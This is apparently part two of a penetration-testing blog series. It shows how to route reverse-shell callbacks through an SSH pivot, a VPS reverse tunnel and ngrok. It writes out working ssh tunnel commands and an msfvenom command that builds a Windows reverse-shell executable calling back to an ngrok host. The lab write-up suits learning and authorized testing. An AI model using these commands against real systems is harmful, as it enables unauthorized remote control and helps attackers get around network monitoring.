We concluded part one of the pentesting callback blog series with a bit of a cliffhanger! The console was hung on the victim machine and if the victim were to kill the process or close the window, the reverse shell had the potential to be killed as well. 

In our scenario, the pentester had a near normal Bash shell on the victim machine, and once an interactive Bash prompt is received by netcat, the shell can be upgraded to a normal shell with command history, as well as other features.

So far, the reverse shells have been 100% in the clear and unencrypted. SSH has significant functionality beyond logging into a remote terminal to administrate a system.

For example, during a penetration testing engagement, you have access to a system with SSH installed in addition to access to the outside world. You can use the compromised system as a pivot to have other systems within the network calling back to that system instead of doing so through the internet. By creating a connection coming from the initial compromised system through SSH, anything leaving that system to your computer will be encrypted through SSH.

In keeping with using the reverseshell.exe to callback to the pivot computer, we will have to change the “LHOST” option in msfvenom. It is also important to know that traffic from the Windows victim to the new pivot system will be unencrypted. This will not be a problem as the unencrypted traffic is only on the local network and does not traverse the internet unencrypted.

Setting up this reverse shell using SSH is quite easy. Using the already compromised host, we will SSH from that host back to our listening computer. While doing so, we want to open up a listening port on the compromised host. We will use port 4444 from the msfvenom example above. The command will look like this:

ssh -L 192.168 .211.138:4444:192.168 .211.139:4444 root@192.168.211.139

The compromised (pivot) host has an IP address of 192.168 .211.138. The command uses the “-L” flag to signify that it is going to listen on a given port. Everything after is as follows: Listen on the IP address of 192.168 .211.138 and port 4444. Send anything that comes to that address and port through the SSH tunnel to IP address 192.168 .211.139 and port 4444. Please keep in mind, SSH can only listen on interfaces on that machine, either 127.0.0.1 (default) or the IP address given to the network interface, in our case, 192.168 .211.138.

The screenshot below shows the SSH command to set up the tunnel as well as the netstat to show which ports are listening. You’ll notice the connection from the Windows host of 192.168 .211.140 has already been called back to the Arch Linux compromised (pivot) host.

In this screenshot you can see the Windows command prompt connecting to the listener on the Kali Linux host with an established connection to the Arch Linux compromised host.

Looking at this a different way, below is a screenshot of the connections that are made. Anything within the “=” is encrypted through the SSH tunnel. Anything that has a connection with “-” is unencrypted.

SSH THROUGH VPS

The previous example demonstrated how to use a compromised host as a pivot back to your own infrastructure. This is a good method to use, but there are times where the penetration tester may want to get “caught” by the IT security teams.

An example of this would be when a compromised Windows host on the network keeps beaconing out to a domain called “fr33malware.com”. If the network security admins are looking for strange sites in their DNS records, this should stand right out to them.

4Setting up a VPS and domain name is easy to do but does cost a little bit of time and money. For this exercise, I have set up a VPS, but not a domain however, the theory remains the same. Instead of putting a domain name in for “LHOST” in the msfvenom command, the VPS IP address will work just fine.

Getting this example to work requires a VPS with a running SSH server and a small change to the SSHd configuration file. In the configuration file, it will say “#GatewayPorts no”. This needs to be changed to “GatewayPorts yes”. Doing this allows the SSH server to listen on all network interfaces, not just the local loopback interface. To log into the VPS and set up the listener, the command should look like this:

ssh root@68.183.106.48 -R 4444:0.0.0.0:4444

The command uses the “-q” flag to suppress login banner messages and “-R” flag to signify that it is going to listen on a given port. Everything after it is as follows: Listen on the IP address of 0.0.0.0 and port 4444. Send anything that comes to the VPS IP address and port 4444 through the SSH tunnel to the Kali computer and port 4444. From there, a simple netcat listener can be set up to catch the callback through the VPS.

Below is a screenshot of the initial setup of the VPS listener tunnel.

The screenshot below is the connection being forwarded from the VPS to port 4444 on the loopback interface on the Kali computer. It shows a connection coming from localhost to localhost. This is because everything coming to port 4444 on the VPS is going to be sent through the SSH tunnel back to port 4444 on the loopback interface of Kali Linux. You’ll also see the Windows netstat command shows that it is indeed connected to the VPS host and not to Kali or loopback.

A screenshot of the connection is pictured below. It is important to keep in mind the connection is unencrypted from the Windows target to the VPS. From the VPS to Kali Linux, it is encrypted via the SSH connection.

NGROK

Tying all of these concepts together is a tool called ngrok. Ngrok is a pseudo domain naming service that runs on a local computer. Like SSH and netcat, ngrok can also be used on all major operating systems.

When the ngrok daemon is running, there is no need to create a hole in the firewall or forward ports to or from an internal IP address to the outside internet. The ngrok service receives the requests from the internet, automatically processes them and sends the incoming connection to the specified service or port. The free version of ngrok gives you a random domain name with paid options which include features such as custom domains and additional connections.

The directions to install ngrok can be found at: https://ngrok.com/download. Once downloaded and installed, you will need to register and log into the ngrok website to receive the proper authentication token. Running “./ngrok authtoken <authentication token>” will enable you to use ngrok on your computer. To launch the ngrok daemon, you will need to specify the type of traffic and port you want to forward to the local machine. In our case, we want to forward the ngrok traffic to port 4444. To do this, the command will be “./ngrok tcp 4444”.

Once ngrok is set up and running, it is important to pay attention to the domain name and port provided in the “Forwarding” section of the ngrok information panel. That domain name and port combination will be needed to craft the msfvenom reverse shell executable properly. In our case the domain name (LHOST) is “2.tcp.ngrok.io” and the callback port (LPORT) is 17581. In addition, you will need to set up your netcat listener as everything coming to port 17581 will be forwarded to port 4444 on Kali. It should also be noted that every time you tear down and set up a new ngrok, the domain name and port will be different.

Using the information from the above screenshot, the msfvenom command will look like this:

msfvenom -p windows/shell_reverse_tcp LHOST=2.tcp.ngrok.io LPORT=17581 EXITFUNC=thread -f exe -a x86 --platform windows -o reverseshell.exe

You’ll notice the callback appears as if it is coming from the localhost however, the connection is coming from ngrok to the Kali localhost port.

This is just one example of the features of ngrok. Ngrok can be used to make secure TLS connections in addition to being routed through TOR.

CONCLUSION

The callbacks shown in this article are easy to create in a home lab to test on your own. All firewalls were disabled and some callbacks happened within the same subnet. In the real world, callbacks don’t always make it to their intended listener and get lost along the way. The tools demonstrated in this article showed a glimpse of their full capabilities.

This series of articles is not meant to be a how-to on creating or using every feature of tools presented. Other options exist to make callbacks 100% encrypted outside of using ngrok or SSH. As penetration testers, we are challenged each day to take everyday programs and use them in ways they weren’t originally intended to be used. By using the tools showcased in this article, you can develop new ways to catch a callback or tunnel traffic.

In the next article we will dive even deeper into surveying the network before we continue through the target network.